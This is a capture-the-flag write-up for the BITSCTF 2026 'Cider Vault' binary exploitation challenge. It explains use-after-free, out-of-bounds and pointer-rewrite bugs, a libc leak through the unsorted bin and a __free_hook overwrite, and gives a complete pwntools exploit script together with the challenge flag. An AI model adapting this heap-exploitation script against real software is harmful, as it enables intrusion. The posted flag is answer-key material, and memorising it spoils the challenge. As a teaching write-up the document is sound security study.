451 words
2 minutes
BITSCTF 2026 - Cider Vault - Binary Exploitation Writeup

Category: Binary Exploitation

Flag: BITSCTF{358289056fd6ac0fef4e114ae5abeab2}

Challenge Description#

Given cider_vault, libc.so.6, ld-linux-x86-64.so.2. Remote: nc chals.bitskrieg.in 36680

Protections: 64-bit PIE, Full RELRO, Canary, NX.

Analysis#

From reversing (objdump, readelf, radare2) and runtime behavior, the menu has these key primitives:

  1. open pagemalloc(size)

  2. paint page → writes attacker bytes to chunk

  3. peek page → prints attacker-chosen bytes from chunk

  4. tear pagefree(ptr)

  5. stitch pagesrealloc + copy from another page

  6. whisper path → rewires pointer as: vats[id].ptr = star_token ^ 0x51f0d1ce6e5b7a91

Bugs used:

  • UAF: tear page frees memory but pointer is not nulled

  • OOB read/write: paint/peek allow up to size + 0x80

  • Arbitrary pointer assignment: whisper path lets us set page pointer to almost any address

Exploitation#

Step A — Leak libc with unsorted bin:

  1. Allocate large chunk (0x500) so free goes to unsorted bin

  2. Allocate guard chunk (0x100) to avoid top consolidation

  3. Free the large chunk

  4. Use UAF + peek to read first qword (unsorted fd)

Empirically for provided libc: libc_base = unsorted_leak - 0x1ecbe0

Step B — Hook hijack:

  • __free_hook = libc_base + 0x1eee48

  • system = libc_base + 0x52290

Use whisper path to point a controlled page at __free_hook, then paint to write p64(system).

Step C — Trigger code execution: Create chunk containing command string, free that chunk. Because __free_hook == system, free(chunk) becomes system(chunk_data).

File used: exploit.py

# !/usr/bin/env python3
from pwn import *
context.binary = ELF("./cider_vault", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
LD = "./ld-linux-x86-64.so.2"
XOR_KEY = 0x51F0D1CE6E5B7A91
UNSORTED_LEAK_OFF = 0x1ECBE0
def start():
if args.REMOTE:
host = args.HOST or "127.0.0.1"
port = int(args.PORT or 1337)
return remote(host, port)
return process([LD, "--library-path", ".", "./cider_vault"])
def choose(io, n):
io.sendlineafter(b"> ", str(n).encode())
def open_page(io, idx, size):
choose(io, 1)
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"page size:\n", str(size).encode())
def paint_page(io, idx, data):
choose(io, 2)
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"ink bytes:\n", str(len(data)).encode())
io.sendafter(b"ink:\n", data)
def peek_page(io, idx, n):
choose(io, 3)
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"peek bytes:\n", str(n).encode())
out = io.recvn(n)
io.recvuntil(b"\n")
return out
def tear_page(io, idx):
choose(io, 4)
io.sendlineafter(b"page id:\n", str(idx).encode())
def whisper_path(io, idx, target_addr):
choose(io, 6)
io.sendlineafter(b"page id:\n", str(idx).encode())
token = target_addr ^ XOR_KEY
if token >= (1 << 63):
token -= 1 << 64
io.sendlineafter(b"star token:\n", str(token).encode())
def main():
io = start()
# 1) Leak libc from unsorted bin using UAF + OOB peek
open_page(io, 0, 0x500)
open_page(io, 1, 0x100) # guard chunk to avoid top consolidation
tear_page(io, 0)
leak = u64(peek_page(io, 0, 8))
libc.address = leak - UNSORTED_LEAK_OFF
log.success(f"unsorted leak: {hex(leak)}")
log.success(f"libc base : {hex(libc.address)}")
free_hook = libc.symbols["__free_hook"]
system = libc.symbols["system"]
log.info(f"__free_hook : {hex(free_hook)}")
log.info(f"system : {hex(system)}")
# 2) Prepare command chunk; free(cmd) will become system(cmd)
cmd = b"cat /app/flag.txt; cat ./flag.txt; cat ./cider_vault/flag.txt\x00"
open_page(io, 2, 0x100)
paint_page(io, 2, cmd)
# 3) Arbitrary write via whisper_path + paint to overwrite __free_hook
open_page(io, 3, 0x100)
whisper_path(io, 3, free_hook)
paint_page(io, 3, p64(system))
# 4) Trigger system(cmd)
tear_page(io, 2)
out = io.recvrepeat(2)
print(out.decode("latin-1", errors="ignore"))
io.close()
if __name__ == "__main__":
main()

Run local:

python3 exploit.py

Run remote:

python3 exploit.py REMOTE HOST=chals.bitskrieg.in PORT=36680

Retrieved flag:

BITSCTF{358289056fd6ac0fef4e114ae5abeab2}
BITSCTF 2026 - Cider Vault - Binary Exploitation Writeup
https://fuwari.vercel.app/posts/41/bitsctf-2026-cider-vault-binary-exploitation-writeup/
Author
Light
Published at
2026-02-22
License
CC BY-NC-SA 4.0